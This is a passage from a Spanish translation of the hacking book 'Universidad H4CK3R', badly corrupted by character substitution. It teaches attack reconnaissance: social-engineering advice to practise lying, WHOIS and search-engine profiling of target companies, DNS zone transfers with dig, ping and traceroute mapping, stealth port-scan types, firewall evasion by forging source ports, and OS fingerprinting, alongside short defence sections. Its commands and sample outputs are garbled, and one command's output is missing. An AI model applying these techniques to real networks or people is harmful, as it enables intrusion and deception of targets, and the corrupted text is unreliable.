abandonaron la fase de preparacin1. "l igual !ue las bandas vigilan los bancos durante
meses y los secuestradores acampan frente a la casa de sus vctimas, los atacantes
digitales dignos de este nombre, deben observar a sus presas mucho antes de lan#arse
sobre ellos como halcones sobre un pollo enfermo.
2ste captulo tratar brevemente de algunas reas en las !ue el potencial atacante podra
tratar de recopilar informacin sobre empresas, personas y, en especial, sus sistemas
informticos y la conectividad. 2n resumen= !uieres salir a ugar a la calle8 "ntes debes
de hacer tus deberesG
Ingeniera ;ocial
2n el captulo J, tuvimos un primer contacto con el arte de mentir. .omo las mentiras, el
enga)o y la deshonestidad son tan vieos como los primeros monos parlantes !ue
e5istieron, no hay manera de describir todos los procedimientos posibles.
-o vamos a!u a repetir lo !ue diimos en el captulo J. :tilice el mal !ue el 1''] de las
personas tienen escondido por ah en alg%n rincn y desarrolle sus propios m$todos. /o
!ue funcion para ;itnick puede no funcionar para usted.
7Sugerencias8 Hay algunas=
F 6ome clases de interpretacin. .onseo obvio.
F 3mposturas de vo#, la seguridad y la fuer#a son importantes. 6oma clases de canto.
F +us!ue libros sobre la programacin neuroFlingRstica. 6e hars un gran favor.
F "cost%mbrate a mirar S32;PN2 a la basura, incluso en casaG Sea un %lac/ 3at en sus
hbitos >
F ;ienta a su efe, a su madre, al sacerdote en la confesin. Practi!ue la mentira. 2lla es
su herramienta ms poderosa. -i todos los escaneres del mundo pueden descubrir las
cosas !ue preguntas sencillas, con la entonacin correcta, pueden, en cinco minutos.
-o basta con saber lo !ue ests haciendo. (ebes saber por !u$ lo ests haciendo. Si
tienes una respuesta rpida cuando se te pregunta 47por !u$ !uieres invadir mi
empresa84 Puedes seguir adelante. Pero no olvides !ue, una ve# dentro, se har un
rastreo. Si ya sabes !u$ hacer cuando est$s entre los muros del castillo, muy bien. Si no
lo sabes, no lo intentesG * no hay !ue olvidar !ue, en funcin de tus intenciones, puedes
estar incurriendo en un delito.
Una gran red
Puedo contar con los dedos de una mano las cosas !ue no he encontrado en 3nternet.
:na ve#, estaba ayudando a mi novia francofona a buscar letras de 4chansons4 en
franc$s para una recopilacin !ue estaba haciendo. :na cancin, 4ra ira4 0!ue tiene
varias versiones con diferentes letras1, estaba siendo difcil de encontrar. 6ras el dilogo=
F -o puedo encontrarlo a!u.
F 72l !u$8
191
ikimilikiliklik Universidad H4CK3R
F 4ra 3ra4, varias grabaciones, entre ellas la de 2dith Piaf.
F 7Has buscado en toda la Peb8
F "hora tambi$n en Toogle y "lta Vista.
F 7.mo has buscado8
F He buscado por su nombre, solamente. /uego intent$ con el nombre de la cancin ms
2dith Piaf.
F Puedo intentarlo8 -ormalmente, uso, para letras en 3ngl$s, el nombre de la cancin,
nombre del artista, ms las letras de la cancin. 7.mo es letra en franc$s8
F Parole.
F Prueba a!u= oa ira piaf parole
/o intent y, para su sorpresa, se encontr con varios sitios con las letras, entre ellos
algunos !ue contenan referencias cru#adas, diferentes versiones agrupadas y los
aspectos histricos y sociales relacionados con ellas.
3nternet en general y la Oorld Oide Oeb en particular, son ricos en informacin acerca de
tu persona, ya sea fsica o urdica. ;ucha fue colocada all nada menos !ue por ti mismo.
6us empleados, si los tienes, son tambi$n grandes fuentes de informacin. Vamos a ver.
= Soogle es tu amigo
2s increble lo bien !ue funcionan los robots de estos mecanismosG Eui$n no sepa cmo
tiene catalogados "lta Vista todos los enlaces, merece una e5plicacin rpida.
Hay dos tipos de motores de b%s!ueda= el catlogo 0la traduccin es la adecuada para la
gua, aun!ue muchos traducen como directorio ...1 y los basados en robots. /os catlogos
son simples listas de sitios !ue los propios interesados inscriben. Por eemplo, *ahoo
aloa sitios Oeb en su rama corporativa Teocities. 2stos sitios automticamente entran en
el catlogo de Teocities, !ue, adems, acepta las entradas en su catlogo de sitios Peb
e5ternos. :na ve# registrado, un programa robot escanea todo el sitio de la persona y
registra las palabras clave del te5to.
:n sitio basado en robots usa un programa similar a los catlogos. /a diferencia es !ue
no es necesario registrar nada= los robots olfatean un enlace y siguen estos enlaces en
3nternet. .omo las pginas a menudo llaman a otras pginas, es un trabao sin fin.
"s pues, es fcil imaginar !ue los robots un da llegarn a su sitio Peb. 6al ve# usted o su
empresa no tiene pgina Peb, pero seguramente utili#a correo electrnico y firma listas de
discusin. < accede a :senet. < bien se inscribe en sitios p%blicos, tales como Hotmail, y
dea su perfil visible para el mundo. " modo de eemplo= yo 0Henry1 no tengo una pgina
Peb propia . Pero soy bastante ruidoso en 3nternet_ firme decenas de listas y tengo
algunos artculos publicados en revistas y peridicos.
6rate de buscar su nombre y el nombre de su empresa para ver lo !ue usted dice y lo !ue
dicen de usted. 6ambi$n bus!ue los nombres de sus empleados, proveedores, clientes.
:sted comprobar !ue puede obtener mucha informacin de esa manera.
6odos los motores de b%s!ueda tienen meoras en la b%s!ueda. Puede buscar por
formato de archivo, fecha, acontecimiento, !ue comparten la misma :N/ pginas !ue
enla#an a una :N/ concreta. Por eemplo, podemos usar Toogle para encontrar sitios
!ue enla#an con .onectiva 0PPP.conectiva.com.br1. 2l resultado sera el siguiente, en la
192
ikimilikiliklik Universidad H4CK3R
ventana de b%s!ueda de Toogle, escribir=
link= PPP.conectiva.com.br
2l 4link=4 funciona muy bien en "lta Vista 0PPP.altavista.com1 y "ll6heOeb
0PPP.allthePeb.com1, !ue tambi$n tienen muchas opciones de b%s!ueda avan#ada.
= AEu tam&iBn, 2rutoC
Pero el peligro puede estar en casaG 7Has mirado en tu sitio Peb personal o en el de tu
empresa8 2n una investigacin bien hecha 0con la ayuda, sorprendentemente, de el
motor de b%s!ueda !ue el personal de la Oeb pone para ayudar a los 3nternautasGGG1, el
atacante seguramente podr reunir alguna de esta valiosa informacin=
! 8ecnologa6 Vaya a la pgina 63 de su sitio. Eue me convierta en un mono de circo si el
personal de rea no puso una lista completa de las tecnologas en uso. 2s posible !ue,
incluso por ra#ones contractuales, la empresa est$ obligada a poner un sello PoPered +y
en el sitio. /as empresas y los empleados suelen estar orgullosos de las soluciones
tecnolgicas !ue ayudan a implementar y estn tentados a poner informacin muy
completa en los sitios. /os hackers aman estoG
! 7elaciones6 ;uchas compa)as divulgan 0intencionadamente o no1 la informacin sobre
sus socios, proveedores, clientes y consultores. ;uchos incluso colocan datos sobre la
competenciaG "lguien puede estar utili#ando la informacin de su sitio Peb para atacar a
la empresa para la !ue usted trabaa. /os mismos trabaadores tienden a poner
informacin sensible en sus sitios personales.
! Infor(aciones corporativas6 la cultura, el idioma, los empleados clave, premios, las
normas laborales, filiales, nombres, n%meros de e5tensiones y correos electrnicos de los
empleados ... 2ste es el tipo de informacin posible de obtener slo mediante b%s!uedas
en la Peb corporativa. "dems de facilitar los ata!ues a distancia, es posible fingir ser un
4trabaador estndar4 de la compa)a para entrar en sus instalaciones fsicas. :na ve#
dentro, lo de siempre= la ingeniera social, sniffers, puertas traseras, robo de documentos
y medios...
! "oticias6 2st$ atento a los comunicados de prensa y notas publicadas como noticias en
su pgina Peb. Se puede colar informacin adicional entre lneas. .omo los hackers,
estn acostumbrados a estar escondidos en los vertederos y contenedores de basura
para recopilar peda#os de informacin 0la sucia salsa de tomate y el papel higi$nico
usado1 no tendrn ninguna dificultad en capturar datos organi#ados en el rea de noticias
del sitio y relacionarlos entre s.
= A<uiBn es este ti7oC
Eui$n tiene un dominio, tiene !ue registrarlo en alg%n lugar. 2n +rasil, !uien se encarga
de los registros de dominio es la M"P2SP 0registro.br1. .undo se hace un registro, la
informacin se almacena en una base de datos denominada base de datos OH<3S. .ada
dominioFra# tiene su propia base de datos OH<3S. Por eemplo, las #onas .com, .mil,
193
ikimilikiliklik Universidad H4CK3R
.edu 0todas estadounidenses1 tienen su propia base de datos OH<3S.
.omprobar la base de datos OH<3S es muy fcil. Vaya a Cregistro.brD y teclee el dominio
en el campo correspondiente. Haga clic en el botn "V2N3T:"N. /a ventana mostrar
los datos de registro Ohois.
2n la base de datos Ohois tenemos el nombre de la empresa, nombre y apellidos de los
responsables de ella, direcciones, n%meros de tel$fono, correo electrnico ... 2s una
e5celente fuente de datos de forma gratuita. Pero la parte mas importante para un hacker
es la siguiente 02n nuestro eemplo el digerati.com.br Phois1=
Servi"or 4NSE NS>BLOCAWELBCOMBLR
4NS "e est#"oE A=CAKC9AA< AA
(!timo AAE A=CAKC9AA<
Servi"or 4NSE NS9BLOCAWELBCOMBLR
4NS "e est#"oE A=CAKC9AA< AA
(!timo AAE A=CAKC9AA<
Cre#"oE >=CA>C>88@ W @9=9K
Mo"ific#"oE >>CA<C9AA<
Est#"oE ,/!ic#"o
2eeeepaG *a sabemos cuales son los dos servidores (-S !ue utili#a el dominio. Slo con
los datos encontrados en la Oeb, somos capaces de hacer muchas maldades con el
dominio.
;ing -our name across m- 8eart
6odas las informaciones !ue hemos visto hasta ahora en este captulo fueron obtenidas
e5clusivamente a trav$s de su navegador Oeb sin necesidad de herramientas especiales,
y no incurri en ning%n delito, ya !ue investigo en reas y bases de datos p%blicas. "un
as, la informacin recopilada es altamente peligrosa y podra poner en riesgo, si es bien
0mal81 usada, toda una corporacin. Pero no slo la Oeb nos da el servicio.
"hora !ue sabemos las direcciones de todos los (-S del dominio !ue !ueremos atacar,
vamos a echarles un vista#o. -o vamos a discutir los fundamentos t$cnicos. Si el lector no
sabe cmo funciona un sistema de servidor de nombres de dominio, le recomendamos el
e5celente libro de (-S y +3-(, de Paul "lbit# y .ricket /iu 0editorial <YNeilly1.
"l igual !ue en los servidores Phois, el (-S tiene informacin !ue, obligatoriamente,
debe estar abierta y disponible para el p%blico en general. .omunicacin por correo
electrnico, sitios Oeb y servidores M6P son tres eemplos de servicios !ue, aun viviendo
sin (-S, dependen de $l para dar a los usuarios una forma mas fcil de almacenar las
direcciones de 3nternet.
25isten herramientas de lnea de comandos para OindoPs y :ni5, !ue pueden recuperar
informacin valiosa acerca de (-S para los hackers. "dems, 6essus es un eemplo de
escner de vulnerabilidades !ue, entre otras cosas, recupera la informacin de los
servidores (-S.
2l gran problema de la tecnologa (-S son las transferencias de #ona o #one transfers.
.uando un 3SP o compa)a pone en el aire un sistema (-S, suelen poner ms de un
servidor 0!ue se encuentran en lugares diferentes1 para atender a los programas !ue
dependen de el. :no de ellos ser el (-S primario, los otros sern secundarios o
194
ikimilikiliklik Universidad H4CK3R
esclavos. /a transferencia de #ona es un procedimiento dise)ado para la transferencia de
datos entre todos los (-S de a!uel dominio o #ona 0#ona es un conunto de m%ltiples
dominios, o ms bien varios subdominios dentro del mismo dominio1.
/o !ue pasa es !ue slo los hosts autori#ados deberan ser capaces de reali#ar
transferencias de dominios. Si mi (-S primario es &'?.&''.1''.BB y mi secundario es &'?
&'' &'' &I', slo &I' podran solicitar transferencias de #ona a partir de los BB y
viceversa. <bservamos, sin embargo, !ue casi todos los servidores de nombres alrededor
de la 6ierra permiten transferencias de #onas solicitadas desde cual!uier nodo de la Tran
Ned.
:n eemplo prctico. 2n una estacin con /inu5, utilice el comando di#. 2ste comando
tambi$n se puede encontrar en algunos :ni5. "bra una terminal y escriba=
6"i. NNS>B!oc#)e/BcomB/r "i.er#tiBcomB/r A?FR
/a sinta5is es simple. 2l primer argumento es el servidor de nombres 0(-S tambi$n
podra ser el n%mero de 3P1. 2l segundo argumento es el dominio !ue desea buscar y el
tercero 0"KMN1 indica !ue !ueremos hacer una transferencia de #ona. /a salida es=
HuyG :n simple comando nos dio !ue el servidor S;6P de la empresa es
&''.1A&.BA.1II, y los servidores Oeb y M6P comparten la misma m!uina en
&''.&?J.1@A.1'&. -o estamos considerando, por ahora, las interfaces de red con
direcciones 3P m%ltiples, pero de todos modos, la realidad puede ser un poco diferente de
la !ue se muestra en la lista. Sin embargo, es un e5celente punto de partida para
investigar ms, obtener miniata!ues 0recuerdas8 1&9? 1&9? ...1 y desarrollar un plan de
accin.
<tros eemplos de herramientas para hacer las transferencias de #ona son 6essus antes
mencionado 0con versiones para :ni5 y OindoPs1, el host, disponible en la mayora de
:ni5 y el veterano nsloo'up, presente tanto en :ni5 y OindoPs. 6enga en cuenta !ue
nslookup para /inu5 no hace transferencias de #onaG
195
ikimilikiliklik Universidad H4CK3R
Jefensa - contraata+ue
(esafortunadamente, no se puede hacer mucho para defenderse de la informacin
obtenida de bases de datos OH<3S. /a informacin de este servicio debe estar disponible
universalmente, por lo !ue no hay nada !ue hacer. /os recientes casos de
desconfiguraciones 0como el sitio de (igerati 2ditorial1 fueron posibles con la informacin
obtenida de $3ois y luego con un poco de ingeniera social, obteniendo las contrase)as
para cambiar el (-S. 2s un caso tpico de un error humano. 2l problema no era la
informacin OH<3S, sino las contrase)as d$biles y vulnerabilidad social.
/as transferencias de #ona de servidores (-S de hecho se pueden evitar. .ree reglas en
el servidor para restringir las transferencias de #ona slo entre los servidores (-S de su
dominio, o con los servidores (-S ra#.
.omo hasta a!u no hay nada ilegal en las actividades del %lac/ 3at, por!ue toda la
informacin recogida es p%blica, no hay manera de lan#ar un contraata!ue. Sobre todo
por!ue, debido al enorme trfico, rastrear accesos a los servidores Phois y (-S es
imposible.
Pero, QSnG Se pueden tomar medidas preventivas 0adems de restringir la transferencia de
#ona F esto es muy importante1 para evitar fugas de informacin innecesaria a 3nternet.
2ntre ellas=
F Hacer una limpie#a en casaG Hurgar en su sitio Peb y eliminar cual!uier cosa !ue pueda
dar, indebidamente, informacin restringida o confidencial para permitir un ata!ue.
F .rear polticas sobre lo !ue puede ser publicado en el sitio y se transmite por correo
electrnico. .rear castigos 0por desgracia, es necesario1 si un empleado pone en riesgo a
la empresa divulgando algo !ue no debiera. * nada de poner banderitas con= 4Munciona
con OindoPs -6?4 o 4Nunning /inu5 &.&.4
Haga campa)as de prevencin, avisando a los usuarios de eFmails sobre el peligro de
enviar datos internos de la empresa hacia fuera. Necoa la investigacin !ue usted hi#o en
la Peb con los nombres o mensaes de correo electrnico de sus empleados y organice
una presentacin para ilustrar sus campa)as.
196
ikimilikiliklik Universidad H4CK3R
"ta!ue, defensa y
contraata!ue
>LsMueda
.apitulo F 1&
4Pedid, y se os dar_ buscad, y hallareis_
llamad, y se os abrir.
Por!ue cual!uiera !ue pide, recibe_ y el !ue
busca, halla_ y al !ue llama, se abrir4
0;ateo V33= @ y A1
197
ikimilikiliklik Universidad H4CK3R
3gual !ue los militares, utili#an los servicios de inteligencia para elaborar informes sobre el
obetivo y solo despu$s van al campo a observar, nosotros tambi$n tenemos !ue
investigar todas esas informaciones, desarrollar planes de accin y hacer una estrategia
de ata!ue. 2n esta nueva etapa vamos a hacer lo !ue los militares llaman reconocimiento=
comprobar los datos obtenidos, rellenar posibles lagunas, corregir las diferencias y
obtener datos de reas antes inaccesibles. Necuerde, despu$s de volver de la b%s!ueda,
realimentaremos nuestra hoa de ruta con la informacin obtenida. -unca se alee de 1F&F
1F9F1F?F1FIF1FJF1G
%arto#ra(:a aplicada a Internet
2s hora de descubrir cmo es la red de nuestra vctima. 2l hacker utili#a herramientas de
escaneo, como las !ue vimos en Vulnerabilidades 3 y 33, para probar la red y descubrir, en
primer lugar, como esta montada 0topologas, sistemas de cortafuegos e 3(S, servidores y
estaciones de trabao F incluyendo alrededor de sus sistemas operativos1 y hacer un mapa
lo ms detallado posible de lo !ue, para $l, todava son 4aguas desconocidas4.
Vamos a empe#ar con un diagrama simple=
2n nuestro diagrama, el hacker no conoce los ordenadores de nuestra red. " lo largo de
este captulo, ha medida !ue se van identificando las diferentes ma!uinas de nuestra red,
las estaciones son cada ve# ms ntidas. Posteriormente, el e!uipo 4invadido4 estar
representado por el icono de 4enfermo4.
6enga en cuenta !ue hay un filtro de pa!uetes y un pro5y, a trav$s de un servidor de
seguridad. 2sta configuracin crea la llamada #ona desmilitari#ada o (;,. 2n ella, los
servidores con acceso p%blico autori#ados 0Oeb, M6P, S;6P ...1 son 4protegidos4 por el
filtro de pa!uetes !ue blo!uea 0o debera blo!uear1 las comunicaciones desde el e5terior
!ue no estn destinadas a servicios especficos de los servidores. 3ncluso las cone5iones
a los servidores deben ser blo!ueadas= una cone5in en el puerto A' 0H66P1 solo ser
permitida si su destino es realmente el servidor Oeb y no el de S;6P. /as cone5iones
198
ikimilikiliklik Universidad H4CK3R
desde el e5terior hacia la red interna, ni en bromas.
2l pro5y, !ue se encuentra en la frontera entre la red interna y la #ona desmilitari#ada,
aporta una capa adicional de seguridad y evita !ue las estaciones del interior puedan
conectarse a 3nternet. 2n su caso, se conectan al pro5y y $l 0slo $l1 4habla4 con 3nternet.
.on este truco, para los !ue miran desde el e5terior, la red interna, esta compuesta %nica
y e5clusivamente por el pro5y. 2l propio pro5y puede ser hackeado y eludir las
restricciones, pero eso es tema para ms adelante.
= 2arre, &arre, la esco&a
6odo el mundo recuerda el 6map " 6essus. Son muy buenos. Prcticamente todo lo !ue
necesitamos para descubrir cosas en las redes de los dems se puede lograr con estas
dos herramientas. Pero, para fines didcticos, vamos a utili#ar dos de las herramientas
ms bsicas y presentes en todos los sistemas operativos !ue tienen alg%n tipo de
soporte para 6.PL3P. 2sas herramientas son pin# y traceroute 0tracert en OindoPs1.
CPingD es un pe!ue)o programa !ue hace
una sola cosa en la vida= enviar una
solicitud de eco 3.;P 0ver Nedes 331 para
comprobar si una determinada 3P e5iste o
si la m!uina !ue tiene esa 3P est en
lnea. "s podemos probar toda la gama
de direcciones 3P asignadas a la empresa
u organi#acin, para saber cules de
estas direcciones 3P representan
m!uinas conectadas directamente a
3nternet.
:na ve# con la lista de 3Ps 4vivos4 en la
mano, el hacker hace un dibuo como este=
.ada crculo representa una de las direcciones 3P. Volviendo a nuestro diagrama de
redes, la visin !ue el atacante tiene !ue nuestras m!uinas es la siguiente=
199
ikimilikiliklik Universidad H4CK3R
"hora, traceroute8tracert se utili#a en cada uno de los 3Ps descritos. /a sinta5is es muy
simple= traceroute !n I2.QP-.QP-7-<TS.U-7IFI1;7. /a salida de un traceroute es
similar a lo siguiente=
> >89B>=@B>B>=9 AB;9K ms AB9<; ms AB9AK ms
9 9AAB9AKB>:>B>;; >BA@K ms >BAKA ms >BA9@ ms
< 9AAB9AKB>:KB>99 >>B<99 ms >@B=<= ms 9:9BK:K ms
K 9AAB9A:B>88B>9> =A9B;<A ms ;><BK:= ms ;9KBA@> ms
; 9AAB9A;B9;;B9>8 ;;8B@>A ms ;<>BK<@ ms =>AB=;> ms
= 9AAB9A;B9;;B9>9 @>:B8=@ ms ;8=B:K@ ms ;:=B;=: ms
: 9AAB9A;B9;KB><K ;9:B<A@ ms ;9<B<;8 ms ;K@B>>K ms
BBB -contin#0
2l parmetro CFnD es slo para evitar !ue traceroute bus!ue los nombres (-S de las
direcciones 3P mostradas. /os hackers deben actuar con diligencia para grabar 0o grabar
e imprimir1 todas las salidas traceroute para todas las 3Ps !ue se encontraron con ping. Si
intentas seguir esa lista hacia atrs, te dars cuenta de !ue muchas de las m!uinas
estn vinculadas. 2n nuestro eemplo, vemos !ue la salida de traceroute del host
&''.555.1'.1' nos dice !ue la m!uina anterior es &''.555.1'.1. 2ntonces, esto significa
!ue las m!uinas estn conectadasG 2n nuestro diagrama=
.ru#ando los datos de todos los traceroutes, el hacker tiene la siguiente visin=
200
ikimilikiliklik Universidad H4CK3R
= *rg8@ Pero re+uiere muc8o tra&a?o@
7(emasiado duro8 Vaya papeletaG Sin embargo, hay algunas herramientas !ue resuelven
la papeleta por ti. :no es el C/"- SurveyorD, de la empresa /"- softPare
0PPP.neon.comL6utorialesL/Stour;"P.html1. Pero en cual!uier situacin, la meor
herramienta 0slo disponible para :ni51 es el C.heopsD 0PPP.marko.netLcheops1. "dems
de tener una interfa# bonita y funcional, C.heopsD hace el trabao sucio por ti. 2sta captura
de pantalla 0tomada del sitio Peb oficial1 es meor !ue cual!uier eemplo !ue podamos
presentar=
.omo puede ver, el .heops automati#a los procedimientos con CpingD y CtracerouteD 0!ue
deben estar presentes en el sistema1 y ademas utili#a la t$cnica de finger printing 0se vera
ms adelante1 para adivinar el sistema operativo en cada nodo.
2uscando 7uertos a&iertos
2n los dos captulos de vulnerabilidades, vimos algunas herramientas para comprobar si
haba servicios 4escuchando4 en los puertos 6.P o :(P. 2n a!uel momento, vimos el
escaneo de puertos como un proceso aislado. "hora !ue sabemos dnde encaa en el
desarrollo de nuestras b%s!uedas, le podemos prestar ms atencin.
"un!ue hay cientos de escaneres de puertos, sin duda el 6map es el !ue tiene una meor
relacin precioLcalidad= es gratis, tiene un buen conunto de test y est en continuo
desarrollo.
Para conocer las opciones de C-mapD, consulte la pgina de manual 0man nmap1 o la
"yuda en la versin de OindoPs. /as versiones con interfaces 0OindoPs y :ni51 tienen,
en el panel de control, teclas para casi todas las pruebas y una barra de estado en la !ue
se muestra como sera la lnea de comandos. -o entraremos en detalles a!u del uso de
-map. 2n su lugar, hablemos de las diferentes formas de 4torcer4 el protocolo de enlace
6.P.
2l comando CnmapD eecutado sin argumentos reali#a una cone5in completa en el puerto
201
ikimilikiliklik Universidad H4CK3R
de prueba, lo !ue significa !ue se respeta todo el protocolo de enlace 6.P. <bviamente,
este anlisis es muy ruidoso y fcilmente detectable.
= 5lecci/n de los 7uertos de origen
"lgunas redes permiten !ue ciertos puertos de origen puedan hacer cone5iones fuera de
3nternet. .omo vimos en CNedes 33D, los filtros de pa!uetes !ue funcionan como firePalls
borran las cone5iones venidas de 3nternet basndose en reglas. 2ntre las normas ms
comunes y formuladas, esta la !ue borra todos los puertos no privilegiados 0es decir,
superiores a 1'&91 desde el e5terior hacia el interior de la red. .on eso, el administrador
cree !ue esta protegiendo su red frente a cone5iones originadas en las m!uinas de los
hackers.
Puede creerlo, pero cree malG -ada impide a los hackers manipular los puertos de origen
de sus pa!uetes 6.P y :(P enviarlos al firePall de la vctima, haci$ndole creer !ue son
respuestas vlidas a solicitudes desde dentro de la red.
2l eemplo clsico es el puerto A'. Si el %lac/ 3at combina el uso de, A' como su puerto
de origen 0los escaneres de puertos dignos de ese nombre lo permiten1 con el flag ".S
activado, el incauto firePall cree !ue esto es un pa!uete vlido y lo dear pasar.
<tros puertos !ue pueden ser de inter$s= &' 0respuesta M6P1, &1 0Solicitud de M6P1, &I
0respuesta S;6P1, I9 :(P y I9 6.P 0solicitud de (-S y respuesta1, JJJLJJ@ 6.P y :(P
0respuesta del servidor (oom y Euake X seguro !ue, su administrador deo estas abiertas
para ugar de noche1. Necuerda= estamos hablando de puertos de origen. /os puertos de
destino sern escaneados. 6al ve# un estudio de la NM.1@'' 0PPP.ietf.orgLrfc.hyml1 sea
revelador.
Para saber !u$ puertos del firePall estn deado pasar, ademas de estas obvios,
podemos utili#ar los patrones de fingerprinting 0e5plicado ms adelante1, en combinacin
con t$cnicas de CpingD y CtracerouteD, para averiguar las reglas del cortafuegos. Hay
muchos programas para hacer esto, pero uno es digno de mencin. 25iste solamente
para :ni5 y se llama CMirePa3kD 0PPP.packetfactory.netLfirePalkL1. tiene un manual !ue, si
bien no es grande, al menos es bastante completo. .on el CMirePalkD, es muy fcil
determinar los puertos abiertos de un de filtro de pa!uetes funcionando como firePall, y
despu$s, eecutar escaneos de puertos dirigidos a las m!uinas internas a trav$s de
estos puertos no filtrados.
202
ikimilikiliklik Universidad H4CK3R
= 2arrer &a?o la alfom&ra
Hay varias maneras de utili#ar anali#adores de puertos para comprobar las puertas
abiertas. *a conocemos el 3ands3a/e completo y la cone5in ".S 0visto en Nedes 331. "
continuacin se muestra una lista completa de las posibilidades de uso de los flags de
6.P, y, por a)adidura, un escaneo :(P=
.one5in 6.P Scan= e5ploracin !ue se detecta fcilmente, reali#a los tres handshake
base 0S*-, S*-L".S y ".S1. 2l sistema realmente completa la cone5in entre el servicio
!ue est siendo escaneado y el escner F y para eso, toda la informacin sobre el cliente
de la aplicacin 0el escner1 se pasa al servidor 0el servicio1.
6.P S*- Scan= .onocido como halfFopen scanning, debido a la total cone5in 6.P
durante la operacin. (e esta forma, impide !ue el registro de operaciones se !uede en el
sistema. -ormalmente, el programa enva un pa!uete S*- al puerto de destino. Si usted
recibe un S*-L".S del obetivo, el programa deduce !ue el puerto est en modo de
escucha, si recibe un NS6L".S, significa !ue el puerto no est activo en ese momento.
:(P Scan= 2ste es uno de los escaneos ms lentos e ine5actos, pues depende de
factores de utili#acin de la red y de recursos del sistema. 2l escner enva un pa!uete
:(P al puerto de destino= si la respuesta es C3.;P port unreachableD, el puerto esta
cerrado, de lo contrario el escner deduce !ue el puerto est abierto.
6.P -ull Scan= 2n este caso, el escner apaga todos los flags y espera del obetivo un
NS6, !ue identifica el puerto como cerrado. Si no hay respuesta, el puerto puede estar
abierto 0pero no es seguro1.
6.P M3- Scan= 2l escner enva pa!uetes M3- al puerto de destino y espera de nuevo un
NS6, identificando los puertos cerrados. Si no hay respuesta, el puerto puede estar
abierto 0de nuevo, sin ninguna garanta1.
6.P Kmas Scan= 2l escner enva pa!uetes M3-, :NT y PSH al puerto de destino y
espera el regreso de un N6S para las puertas cerradas. -inguna respuesta indica una
posible puerta abierta.
= 6a 8uella digital en la We&
3dentificar el sistema operativo !ue se eecuta en el nodo especificado es esencial para
e5plotar las vulnerabilidades !ue puedan estar presentes. /a t$cnica utili#ada para
determinar el sistema operativo del host se llama fingerprinting 0o la recogida de huellas
dactilares1.
Se pueden enviar, de forma secuencial, todas las pruebas para 6.P y :(P descritas, a
los puertos de un nodo. (ependiendo de cmo responda, es posible saber !u$ sistema
operativo se est eecutando en ese host.
C-mapD y C.heopsD lo hacen muy bien. Puedes buscar la documentacin de ambos para
saber cmo usarlos y cmo interpretar los resultados. Para obtener ms informacin
acerca de como funciona el fingerprinting,bus!ue por Cdeterminacin de <S por finger
printingD o Ctcp udp finger printingD en su motor de b%s!ueda favorito.
203
ikimilikiliklik Universidad H4CK3R
= AHa- mFsC
25isten varias t$cnicas de anlisis de puertos. /a lista de todas no sera posible en un
libro de 9I' pginas como $ste. Pero mas abao damos la lista de algunas, cuya
descripcin se puede encontrar fcilmente en 3nternet.
F M6P +ounce= utili#a una caracterstica antigua de los servidores M6P, !ue es la
capacidad de utili#ar un servidor M6P como intermediario con el fin de enviar un archivo a
un tercer e!uipo. 7.mo es posible controlar en !ue puerto se reali#ara la cone5in8, se
puede, manualmente, escaneando todos los puertos de la tercera m!uina 0la vctima1
hasta obtener la cone5in. 2n la vctima, se registrar la direccin 3P del servidor M6P y
no la del hacker. 6ambi$n se llama CM6P forPardingD.
F Mallos de las N.P= ya hablamos de 7e(ote 2rocedure 1alls en Nedes 3. 6odos los
sistemas operativos tienen alguna aplicacin de los servicios de NP., y casi todos tienen
alguna !ue responde incorrectamente a una cone5in, revelando !ue acepta la cone5in
0aun!ue no necesariamente sean vulnerables1. Puedes buscar CNP. ScanD y CNP.
25ploit.D
2uscando lagunas
*a hemos hablado acerca de los agueros de seguridad en los dos captulos sobre las
vulnerabilidades. /o !u$ hace un escner de vulnerabilidades, por lo general, es probar
cada uno de los servicios ofrecidos de acuerdo a unas normas preestablecidas. Si el
sistema responde tambi$n de conformidad con normas pertenecientes a versiones con
fallos reconocidos, el escner da informe de 4fallo4 y por lo tanto, posiblemente,
vulnerable. 6odos los fingerprints 0tanto de solicitud como de respuesta1 se almacenan en
una base de datos cuya actuali#acin es constante y continua.
Habamos preparado para esta seccin, un te5to muy largo, informativo y fcil de digerir
sobre diferentes escaneres de vulnerabilidades. Pero viendo todo, pensamos, 4estamos
negando al lector la oportunidad de aprender.4
(e hecho, si le di$ramos el pe#, le estaramos condenando a ser un script /iddie el resto
de su vida. Si le ense)amos a pescar, sin embargo, no tendra la oportunidad de pensar,
ra#onar y ver cmo funcionan las cosas. "s !ue en lugar de darle un pe# o ense)arle a
pescar, hemos decidido solo ense)arle el lago. /as ca)as de pescar estn ah. Ponga a
trabaar la cabe#a, las manos en la masa, y aprender un poco soloG
/as direcciones de las dos 4ca)as de pescar4 ms famosas se encuentran abao.
2st%dielas a fondo, lea todos sus documentos y bus!ue ms informacin en 3nternet. 2n
caso de duda, pregunteG 25isten muchos grupos de discusin sobre redes con personas
dispuestas a ayudar F puede encontrar la direccin de algunos, en los captulos de Nedes.
Si usted busca bien, ver !ue puede leer y aprender mucho, antes de meter los dedos en
el teclado para escavar en los agueros de alguien 0sin uego de palabras, por favorG1.
F -essus= PPP.nessus.org
F Therkin= PPP.altmode.comLgherkinL
204
ikimilikiliklik Universidad H4CK3R
"dems, la b%s!ueda en 3nternet le mostrar varias herramientas 0libres o no1 de
escaneres de vulnerabilidad. Puedes encontrar cosas como .<PS, S"3-6, S"N"
-etSaint, V/"(, -etSonar ... Zuega un poco con las dos primeras propuestas. (espu$s
de cansarte de ellos, descarga 0o compra, en su caso1 los otros y divi$rtete un poco ms.
/a piratera consiste en esto= aprender haciendo. QPiensaG
Jefensa - contraata+ue
Para defenderte de los hackers 0o kiddies1 !ue e5ploran la red todo el tiempo, debes
obedecer algunas reglas bsicas=
F "ctuali#acin del sistemaG. Sistemas obsoletos son las principales fuentes de problemas,
no slo en seguridad, sino tambi$n en estabilidad. Su proveedor de tecnologa por lo
general ofrece actuali#aciones gratuitas cuando el fallo es de ellos. -o las dees pasarG
F Ha# un escaneo contra ti mismo. -o esperes a !ue un hacker descubra !ue utili#as un
33S vulnerable, un fallo de :nicode o un Sendmail con el conocido Sendmail +ug. < peor
a%n, !ue tu firePall sea un !ueso sui#o. /os escaneres estn ah para ayudarte. ssalosG
F "paga los servicios innecesarios. Si configuras un servidor Oeb, !ue sirve slo para
eso, 7para !ue !uieres un S;6P escuchando en el puerto &I, un P<P en el puerto 11' y
una K en J'''8. Permite eecutar slo lo !ue se utili#a realmente. -o slo para dear
menos puertas abiertas !ue el hacker pueda usar, tambi$n por!ue te olvidars de tener
!ue aplicar los parches de seguridad.
F .ompruebe el firePal3. Si sus escaneos permiten el paso, el firePall necesita una
